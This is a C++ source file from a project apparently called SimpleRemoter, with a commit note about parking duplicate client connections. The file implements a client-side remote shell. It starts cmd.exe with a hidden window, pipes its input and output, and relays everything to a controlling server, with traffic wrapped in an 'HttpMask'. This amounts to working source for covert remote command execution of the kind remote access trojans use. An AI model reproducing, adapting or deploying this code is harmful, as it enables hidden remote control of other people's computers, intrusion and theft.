Files
SimpleRemoter/client/ShellManager.cpp
yuanyuanxiang 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00

195 lines
6.3 KiB
C++

// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ShellManager.h"
#include "Common.h"
#include <IOSTREAM>
#if ENABLE_SHELL
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_nCmdLength = 0;
m_bStarting = TRUE;
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //重要
m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd
m_hWritePipeShell = NULL; //cmd
//创建管道
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
if(m_hReadPipeHandle != NULL) {
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if(m_hWritePipeShell != NULL) {
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
return;
}
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {
if(m_hWritePipeHandle != NULL) {
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if(m_hReadPipeShell != NULL) {
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
return;
}
//获得Cmd FullPath
char strShellPath[MAX_PATH] = {0};
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
//C:\windows\system32\cmd.exe
strcat(strShellPath,"\\cmd.exe");
//1 Cmd Input Output 要和管道对应上
//2 Cmd Hide
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0}; //CreateProcess
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //重要
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //将管道赋值
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE;
//启动Cmd进程
//3 继承
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
return;
}
m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
{
unsigned long dwReturn = 0;
char szBuffer[1024] = {0};
DWORD dwTotal = 0;
CShellManager *This = (CShellManager*)lParam;
while (This->m_bStarting) {
Sleep(100);
//这里检测是否有数据 数据的大小是多少
while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) {
//如果没有数据就跳出本本次循环
if (dwReturn <= 0)
break;
memset(szBuffer, 0, sizeof(szBuffer));
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
//读取管道数据
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
#endif
int skipBytes = min(This->m_nCmdLength, (int)dwReturn);
const char *pStart = (char*)szTotalBuffer + skipBytes;
int length = (int)dwReturn - skipBytes;
This->m_nCmdLength -= skipBytes;
if (length > 0)
This->m_ClientObject->Send2Server(pStart, length);
LocalFree(szTotalBuffer);
}
}
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
This->m_hThreadRead = NULL;
Mprintf("ReadPipe线程退出\n");
return 0;
}
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_NEXT: {
NotifyDialogIsOpen();
break;
}
default: {
m_nCmdLength = (ulLength - 2);// 不含"\r\n"
unsigned long dwReturn = 0;
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
break;
}
}
}
CShellManager::~CShellManager()
{
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);
if (m_hReadPipeHandle != NULL) {
DisconnectNamedPipe(m_hReadPipeHandle);
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if (m_hWritePipeHandle != NULL) {
DisconnectNamedPipe(m_hWritePipeHandle);
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if (m_hReadPipeShell != NULL) {
DisconnectNamedPipe(m_hReadPipeShell);
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
if (m_hWritePipeShell != NULL) {
DisconnectNamedPipe(m_hWritePipeShell);
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
while (m_hThreadRead) {
Sleep(200); // wait for thread to exit
}
}
#endif